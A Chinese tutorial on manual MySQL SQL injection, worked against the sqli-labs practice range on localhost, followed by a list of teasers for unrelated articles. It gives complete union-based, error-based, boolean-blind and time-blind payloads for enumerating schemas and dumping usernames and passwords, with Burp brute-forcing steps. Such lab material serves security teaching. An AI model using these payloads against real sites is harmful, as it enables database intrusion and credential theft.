网络安全进阶学习第十课——MySQL手工注入
文章目录
- 一、MYSQL数据库常用函数
- 二、MYSQL默认的4个系统数据库以及重点库和表
- 三、判断数据库类型
- 四、联合查询注入
- 1、具体步骤(靶场演示):
- 1)首先判断注入点
- 2)判断是数字型还是字符型
- 3)要判断注入点的列数
- 4)获取数据库在网页中的显示位
- 5)构造POC查询用户名和数据库名
- 6)查库的所有表名
- 7)查出特定表的所有字段名
- 8)查询users这个表的所有数据
- 9)使用另一种方式查看数据
- 五、报错注入
- 1、MYSQL常用使用的报错函数:
- 1)floor( )
- 2)extractvalue( )
- 3)updatexml( )
- 4)geometrycollection( )
- 5)multipoint( )
- 6)polygon( )
- 7)multipolygon( )
- 8)linestring( )
- 9)multilinestring()
- 10)exp( )
- 11)gtid_subset( )
- 2、报错注入步骤(靶场演示)
- 1)确定数据库出错会在页面上显示
- 2)寻找注入点(参考联合注入)
- 3)判断是数字型还是字符型(参考联合注入)
- 4)使用报错函数,构造轮子
- 5)获取数据库名和用户名
- 6)获取所有的表名
- 7)获取特定表的字段名(参考联合注入)
- 8)获取特定表的数据(参考联合注入)
- 3、报错注入有字符串长度限制
- 六、盲注
- 1、布尔类型盲注
- 2、布尔盲注注入步骤:
- 1)找到注入点(参考联合注入)
- 2)构造轮子
- 3)获取当前用户名和数据库名长度
- 4)获取当前用户名和数据库名
- 5)获取当前数据库所有的表名的长度
- 6)获取当前数据库所有的表名的名字
- 7)获取users表的所有字段名总长度
- 8)获取users表的所有字段名名字
- 9)获取users表的所有数据每一行的总长度
- 10)获取users表的目的数据
- 3、时间盲注
- 4、时间盲注注入步骤:
- 1)寻找注入点(参考联合注入)
- 2)判断是数字型还是字符型(参考联合注入)
- 3)测试sleep函数有没有被过滤,是否会被执行
- 4)获取当前用户名和数据库长度
- 5)获取当前用户名和数据库名
- 6)获取当前数据库所有的表名的总字符串长度(参考布尔盲注)
- 7)获取当前数据库所有的表名(参考布尔盲注)
- 8)获取users表的所有字段名的总字符串长度(参考布尔盲注)
- 9)获取users表的所有字段名(参考布尔盲注)
- 10)获取users表的目的数据(参考布尔盲注)
一、MYSQL数据库常用函数
二、MYSQL默认的4个系统数据库以及重点库和表
重点库:information_schema
三、判断数据库类型
PHP的网站,常用数据库为MYSQL、PostgreSQL
判断数据库类型:
- MYSQL:3306
- PostgreSQL:5432
- MSSQL:1433
四、联合查询注入
使用场景:数据库在页面中存在显示位。
UNION操作符
用于连接两个以上的SELECT语句的结果组合到一个结果集合中。前提是两个select必有相同列
。
1、具体步骤(靶场演示):
1)首先判断注入点
如下:
这里就可以确定注入点是在id这个位置
2)判断是数字型还是字符型
使用1/1和1/0方式来进行测试
1/1和1/0都不报错,也就是说没有反应,说明不是数字型
。
直接添加1个单引号和2个单引号测试
1个单引号发生报错,2个单引号不报错,说明这是字符型
。
3)要判断注入点的列数
使用order by;order by 是用来排序的。假如order by 3不报错,order by
4发生报错,这就说明该表只有3列。
如下:
使用的POC:
http://localhost/Less-1/?id=1' order by 4--+
对应的SQL语句:
select * from 表名(未知) where
order by 4
;
#让他报错
4)获取数据库在网页中的显示位
知道列数后,就需要获取数据库在网页中的显示位
(就是显示在网页上的字段),可以使用union来拼接错误查询和自我构造的select语句。
如下:
http://localhost/Less-1/?id=1
对应的SQL语句:
select * from 表名(未知) where id=1;
此处页面上显示:
Your Login name: Dumb
Your Password: Dumb
http://localhost/Less-1/?id=2
对应的SQL语句:
select * from 表名(未知) where id=2;
页面上显示:
Your Login name: Angelina
Your Password: I-kill-you
构造错误的select查询字段,例如把id=1改成id=-1
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2,3 --+
对应的SQL语句:
select * from 表名(未知) where id=
-1 union select 1,2,3
;
页面上显示:
Your Login name: 2
Your Password: 3
这样子就知道显示位
是数据表的第2列和第3列了。
5)构造POC查询用户名和数据库名
在显示位上构造要查询的函数,例如当前用户名和数据库名
构造POC:
http://localhost/ Less-1/?id=-1'
union select 1,user(),database()--+
对应的SQL语句:
select * from 表名(未知) where id=
-1 union select 1,user(),database()
;
页面上显示:
Your Login name: root@localhost
Your Password: security
这样我就知道当前数据库的用户名和数据库名了。
6)查库的所有表名
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, table_name from information_schema.tables where table_schema='security'--+
对应的SQL语句:
select * from 表名(未知) where id=-1 union select 1,2,
table_name from information_schema.tables where table_schema='security'
;
上面就只会输出第一个表名字email,而不会输出全部的表名
输出所有的表名,使用group_concat()函数
来拼接输出
使用的POC:
http://localhost/ Less-1/?id=-1'
union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'--+
对应的SQL语句:
select * from 表名(未知) where
id=-1
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
;
这样就知道security这个数据库里面所有的表名字:emails,referers,uagents,users
7)查出特定表的所有字段名
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security'--+
对应的SQL语句:
select * from 表名(未知) where
id=-1
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'
;
现在这里就输出了security这个数据库里面所有表的所有字段名称
现在又有另一个问题了,就是我只想知道敏感数据表的字段名,例如users这个表里面的字段名,这时候就要:
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
对应的SQL语句:
select * from 表名(未知) where id=-1 union select 1,2,
group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
;
现在这样子就知道了users这个表的所有字段名,假设知道了字段是:id,username,password
8)查询users这个表的所有数据
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,group_concat(username), group_concat(password) from users--+
对应的SQL语句:
select * from users where id=-1 union select 1,
group_concat(username), group_concat(password) from users
;
这样就把所有的学生名和密码都查出了,同时也知道了显示位显示的表就是users表
美化一下:
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2, group_concat(username,'^',password) from users--+
对应的SQL语句:
select * from users where id=-1 union select 1,2,
group_concat(username,'^',password) from users
;
9)使用另一种方式查看数据
也可以不使用group_concat()函数,使用concat()+limit
的方式来查看表的数据。
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2,group_concat(username,'^',password) from users limit 0,1--+
对应的SQL语句:
select * from users where id=-1 union select 1,2,
group_concat(username,'^',password) from users limit 0,1
;
这样子就可以一条一条来看。
五、报错注入
使用场景:数据库错误提示会在页面上显示。
1、MYSQL常用使用的报错函数:
1)floor( )
常用注入语法格式:
select * from test where id=1 and (select 1 from (select count(*),concat(user(),
floor
(rand(0)*2)) x from information_schema.tables group by x) a);
2)extractvalue( )
extractvalue(xml_frag, xpath_expr)
从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
若xpath_expr参数不符合xpath格式,就会报错
。而~ 符号(ascii编码值:0x7e)
是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会报错。
常用注入语法格式:
select * from test where id=1 and (
extractvalue
(1,concat(0x7e
,(select user()),0x7e
),1));
3)updatexml( )
常用注入语法格式:
select * form test where id=1 and (
updatexml
(1,concat(0x7e
,(select user())),1));
4)geometrycollection( )
常用注入语法格式:
select * from test where id=1 and
geometrycollection
((select * from(select user())a)b));
5)multipoint( )
常用注入语法格式:
select * from test where id=1 and
multipoint
((select * from(select user())a)b));
6)polygon( )
常用注入语法格式:
select * from test where id=1 and
polygon
((select * from(select user())a)b));
7)multipolygon( )
常用注入语法格式:
select * from test where id=1 and
multipolygon
((select * from(select user())a)b));
8)linestring( )
常用注入语法格式:
select * from test where id=1 and
linestring
((select * from(select user())a)b));
9)multilinestring()
常用注入语法格式:
select * from test where id=1 and
multilinestring
((select * from(select user())a)b));
10)exp( )
常用注入语法格式:
select * from test where id=1 and
exp
(~(select * from(select user())a));
11)gtid_subset( )
常用注入语法格式:
select
gtid_subset
(user(),1);
2、报错注入步骤(靶场演示)
1)确定数据库出错会在页面上显示
2)寻找注入点(参考联合注入)
3)判断是数字型还是字符型(参考联合注入)
4)使用报错函数,构造轮子
这里就使用updatexml()函数
,这个函数第二个参数要是有特殊字符是会报错的,这里0x7e是“~”的URL编码。
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,0x7e,1)--+
对应的SQL语句:
select * from users where id=1 and
updatexml(1,0x7e,1)
;
5)获取数据库名和用户名
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,concat(0x7e,database()),1)--+
对应的SQL语句:
select * from users where id=1 and
updatexml(1,concat(0x7e,database()),1)
;
6)获取所有的表名
使用的POC:
http://localhost/ Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))
,1)–+
对应的SQL语句:
select * from users where id=1 and updatexml(1,
concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))
,1);
7)获取特定表的字段名(参考联合注入)
8)获取特定表的数据(参考联合注入)
3、报错注入有字符串长度限制
报错注入常用的函数通常会有字符串长度限制,其最长输出32位
。如果直接使用group_concat()函数会输出不全。
举例:
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,'^',password) from users))
,1) --+
这样子只能输出32个字符串长度的内容,无法输出全;
这时候就要使用limit来进行操作,来进行一个一个的输出:
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat
(0x7e,(select concat(username,‘^’,password) from users limit 0,1
)),1) --+
六、盲注
1、布尔类型盲注
使用场景:页面没有显示位,数据库查询出错也不会在页面上显示,只会有查询正确和查询错误两种页面提示,例如下面这种情况:
正常,为true
添加1个单引号,为false
添加2个单引号,为true
2、布尔盲注注入步骤:
1)找到注入点(参考联合注入)
2)构造轮子
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=1,1,0)--+
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=2,1,0)--+
3)获取当前用户名和数据库名长度
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(length(user())=8,1,0)--+
接着可以使用BP爆破长度
这样子就猜出用户名字符串长度是14。使用同样方法可以得出当前数据库名的长度是8。
4)获取当前用户名和数据库名
方法一:
http://localhost/Less-8/?id=1' and 1=if(mid(user(),1,1)='q',1,0)--+
同样可以使用BP爆破
爆破两个payload
第一个爆破位置,只使用数字
第二个爆破字符,就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。
这样就爆破出来了,就得出当前用户名是:root@localhost。同样方法可以获取到当前数据库名是:security
方法二:
当截取函数是被禁用,无法使用,那么就使用like+‘_’
举例上面我已经知道当前用户名的字符串长度是14,需要获取到用户名的名字
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(user()+like+'______________',1,0)--+
这里的返回值是ture。因为正则里面下划线”_”是可以代表任意字符的。
这样子,我们就可以使用BP逐位逐位地进行爆破,从而获取到对应的用户名名字。
5)获取当前数据库所有的表名的长度
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=10--+
使用BP爆破
这里就获得长度是29位。
6)获取当前数据库所有的表名的名字
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+
使用BP进行爆破
上述第一个payload知道是29位,字典就选到29
第二个payload的字典就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。
好了这样就知道所有的表名字是:emails,referers,uagents,users
7)获取users表的所有字段名总长度
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=10--+
同样BP爆破
这样子就知道了users表的字段名总字符串长度是20
8)获取users表的所有字段名名字
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a' --+
同样使用BP爆破
这里就获得users表的字段名称是:id,username,password
9)获取users表的所有数据每一行的总长度
构造POC:
http://localhost/Less-8/?id=1' and length((select concat(username,'^',password) from users limit 0,1))=10--+
开始使用BP爆破
这样子就知道该表一共有13行,并且每行concat拼接后对应的字符串长度。
10)获取users表的目的数据
由于上面已经知道该表的字段名、数据行数、每行拼接后的总字符串长度,那么就可以逐行地进行爆破。
使用的POC:
http://localhost/Less-8/?id=1' and mid((select concat(username,'^',password) from users limit 0,1),1,1)='a' --+
具体BP爆破就不多说了,操作差不多。
3、时间盲注
页面返回值只有一种:true。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数(sleep
),通过查看web页面返回的时间差
来判断注入的语句是否正确。
例如下面这种情况:
4、时间盲注注入步骤:
1)寻找注入点(参考联合注入)
2)判断是数字型还是字符型(参考联合注入)
3)测试sleep函数有没有被过滤,是否会被执行
sleep(1)相应时间时13158毫秒
sleep(0)相应时间时16毫秒
这里就说明sleep()函数会被执行
4)获取当前用户名和数据库长度
使用的POC:
http://localhost/Less-48/?sort=1 and if(length(user())=10,sleep(1),1)--+
这里就是假如猜测的长度争取,就会执行sleep(1)。
使用BP爆破
下面需要勾选响应时间
多了一列选项,由于正确就会执行sleep(1),所以相应时间最长的那一个就是正确的结果,这里就是14。同理爆破数据库名长度是8。
5)获取当前用户名和数据库名
http://localhost/Less-48/?sort=1 and if(mid(user(),1,1)='a',sleep(1),1)--+
接着使用BP爆破
第二个爆破payload字典,注意把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。
这里就能看出来爆破出来的用户名按照顺序排列是:root@localhost;同理使用同样的方法爆破获得数据库名是:security。
6)获取当前数据库所有的表名的总字符串长度(参考布尔盲注)
7)获取当前数据库所有的表名(参考布尔盲注)
8)获取users表的所有字段名的总字符串长度(参考布尔盲注)
9)获取users表的所有字段名(参考布尔盲注)
10)获取users表的目的数据(参考布尔盲注)
相关文章:

网络安全进阶学习第十课——MySQL手工注入
文章目录 一、MYSQL数据库常用函数二、MYSQL默认的4个系统数据库以及重点库和表三、判断数据库类型四、联合查询注入1、具体步骤(靶场演示):1)首先判断注入点2)判断是数字型还是字符型3)要判断注入点的列数…...

2.3 网络安全协议
数据参考:CISP官方 目录 OSI七层模型TCP/IP体系架构TCP/IP安全架构 一、OSI七层模型 简介 开放系统互连模型(Open System Interconnection Reference Model,OSI)是国际标准化组织(ISO)于1977年发布的…...

Apache Flink概述
Flink 是构建在数据流之上的一款有状态的流计算框架,通常被人们称为第三代大数据分析方案 第一代大数据处理方案:基于Hadoop的MapReduce 静态批处理 | Storm 实时流计算 ,两套独立的计算引擎,难度大(2014年9月&#x…...

django使用mysql数据库
Django开 发操作数据库比使用pymysql操作更简单,内部提供了ORM框架。 下面是pymysql 和orm操作数据库的示意图,pymysql就是mysql的驱动,代码直接操作pymysql ,需要自己写增删改查的语句 django 就是也可以使用pymysql、mysqlclient作为驱动&a…...

MongoDB文档--基本概念
阿丹: 不断拓展自己的技术栈,不断学习新技术。 基本概念 MongoDB中文手册|官方文档中文版 - MongoDB-CN-Manual mongdb是文档数据库 MongoDB中的记录是一个文档,它是由字段和值对组成的数据结构。MongoDB文档类似于JSON对象。字段的值可以包…...

【TypeScript】TS入门及基础学习(一)
【TypeScript】TS入门及基础学习(一) 【TypeScript】TS入门及基础学习(一)一、前言二、基本概念1.强类型语言和弱类型语言2.动态语言和静态语言 三、TypeScript与JavaScript的区别四、环境搭建及演练准备4.1 安装到本地4.2 在线运…...

Dockerfile构建LNMP镜像(yum方式)
目录 Dockerfile构建LNMP镜像 1、建立工作目录 2、编写Dockerfile文件 3、构建镜像 4、测试容器 5、浏览器访问测试: Dockerfile构建LNMP镜像 1、建立工作目录 [roothuyang1 ~]# mkdir lnmp/ [roothuyang1 ~]# cd lnmp/ 2、编写Dockerfile文件 [roothuyang1 …...

Flink Windows(窗口)详解
Windows(窗口) Windows是流计算的核心。Windows将流分成有限大小的“buckets”,我们可以在其上应用聚合计算(ProcessWindowFunction,ReduceFunction,AggregateFunction或FoldFunction)等。在Fl…...

AssetBundle学习
官方文档:AssetBundle 工作流程 - Unity 手册 (unity3d.com) 之前写的博客:AssetBundle学习_zaizai1007的博客-CSDN博客 使用流程图: 1,指定资源的AssetBundle属性 (xxxa/xxx)这里xxxa会生成目录&…...

CompletableFuture原理与实践
文章目录 1 为何需要并行加载2 并行加载的实现方式2.1 同步模型2.2 NIO异步模型2.3 为什么会选择CompletableFuture? 3 CompletableFuture使用与原理3.1 CompletableFuture的背景和定义3.1.1 CompletableFuture解决的问题3.1.2 CompletableFuture的定义 3.2 Complet…...

8.3 作业
整理思维导图 2. 递归实现,输入一个数,输出这个数的每一位 #include <myhead.h> void fun(int t) {if(t 0) return;fun(t/10);printf("%d\n",t%10); } int main(int argc,const char *argv[]) {int t1623809; fun(t);return 0; } 3.递…...
c# COM组件原理
COM(Component Object Model)是一种微软的软件组件技术,用于实现软件组件之间的互操作性。它是一种二进制接口标准,允许不同的软件组件在不同的进程中进行通信。COM组件可以用多种编程语言编写,并且可以在多个应用程序…...

Java POI 百万规模数据的导入和导出
目录 1、百万数据导入1.1 需求分析1.2 思路分析1.3 代码实现1.3.1 步骤分析1.3.2 自定义处理器1.3.3 自定义解析1.3.4 测试 2、百万数据导出2.1、概述2.2、解决方案分析2.3、原理分析2.4、百万数据的导出2.4.1、模拟数据2.4.2、思路分析2.4.3、代码实现2.4.4、测试结果 1、百万…...

如何快速用PHP取短信验证码
要用PHP获取短信验证码,通常需要连接到一个短信服务提供商的API,并通过该API发送请求来获取验证码。由于不同的短信服务提供商可能具有不同的API和授权方式,我将以一个简单的示例介绍如何使用Go语言来获取短信验证码。 在这个示例中ÿ…...
CloudStack 的 AsyncJobManagerImpl
在 CloudStack 的 AsyncJobManagerImpl 类中,下列方法的作用如下: getConfigComponentName(): 返回配置组件的名称。 getConfigKeys(): 返回与异步任务管理器相关的配置键列表。 getAsyncJob(): 根据异步任务的 ID 获取相应的异步任务对象。 findInst…...

OAuth机制_web站点接入微软azure账号进行三方登录
文章目录 ⭐前言⭐微软三方登录流程💖 web站点获取微软账号流程💖 node封装微软登录接口💖 webapp 自定义code换token💖 调用 Microsoft Graph API💖 前端唤醒authlink进行登录回调逻辑 ⭐结束 ⭐前言 大家好…...

Linux ALSA音频工具aplay、arecord、amixer的使用方法
ALSA 是Advanced Linux Sound Architecture的缩写,先进的Linux音频架构,为Linux操作系统提供音频和MIDI功能。 aplay命令 aplay是播放命令。 rootimx6ul7d:~# aplay -h Usage: aplay [OPTION]... [FILE]...-h, --help help--version …...

编写一个最简单的Linux服务端和客户端程序
2023年8月3日,周四下午 这篇文章我从下午开始写了几个小时, 这篇文件基本总结了我今天学到的知识, 在写这篇文章的过程中灵感不断涌现、想明白了很多知识点,非常酣畅淋漓。 什么叫做深度学习?这就是深度学习&#…...
openKylin顺利加入RISC-V 基金会,推动架构芯片与操作系统协同发展
日前开放麒麟openKylin宣布,正式加入RISC-V基金会,由此成为其产业联盟成员。 公开资料显示,ISC-V是由加州大学伯克利分校研究团队在 2010年推出的一个开源指令集架构(ISA)。并且RISC-V拥有免费、高效、简洁和开放等特性qlbrsb。 作为新生的…...

SSM(Vue3+ElementPlus+Axios+SSM前后端分离)【二】
文章目录 SSM--基础环境搭建【二】项目介绍项目功能/界面● SSM 整合项目界面 项目全局配置web.xmlSpringMVC 配置 SSM–基础环境搭建【二】 项目介绍 项目功能/界面 ● SSM 整合项目界面 项目全局配置web.xml 配置furns_ssm\src\main\webapp\WEB-INF\web.xml , 和项目全局…...

Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...
day52 ResNet18 CBAM
在深度学习的旅程中,我们不断探索如何提升模型的性能。今天,我将分享我在 ResNet18 模型中插入 CBAM(Convolutional Block Attention Module)模块,并采用分阶段微调策略的实践过程。通过这个过程,我不仅提升…...
React Native在HarmonyOS 5.0阅读类应用开发中的实践
一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强,React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 (1)使用React Native…...

最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...

多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
代理篇12|深入理解 Vite中的Proxy接口代理配置
在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...

宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
Git常用命令完全指南:从入门到精通
Git常用命令完全指南:从入门到精通 一、基础配置命令 1. 用户信息配置 # 设置全局用户名 git config --global user.name "你的名字"# 设置全局邮箱 git config --global user.email "你的邮箱example.com"# 查看所有配置 git config --list…...